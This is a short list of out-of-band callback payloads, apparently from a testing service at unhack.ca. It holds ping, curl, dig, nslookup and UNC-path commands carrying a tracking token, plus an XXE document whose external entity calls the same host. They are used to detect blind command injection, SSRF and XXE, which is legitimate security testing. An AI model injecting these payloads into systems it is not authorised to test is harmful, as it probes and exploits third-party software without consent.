$ ping -c1 -p 003c4c35ed38c2df221191df16ba8f00 unhack.ca
 

$ curl http://unhack.ca/p/3c4c35ed38c2df221191df16ba8f
 

$ dig 3c4c35ed38c2df221191df16ba8f @unhack.ca
 

$ dig 3c4c35ed38c2df221191df16ba8f.ns.unhack.ca
 

C:\> nslookup 3c4c35ed38c2df221191df16ba8f unhack.ca
 

C:\> type \\unhack.ca\3c4c35ed38c2df221191df16ba8f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3c4c35ed38c2df221191df16ba8f">]>
    <foo>&xxe;</foo>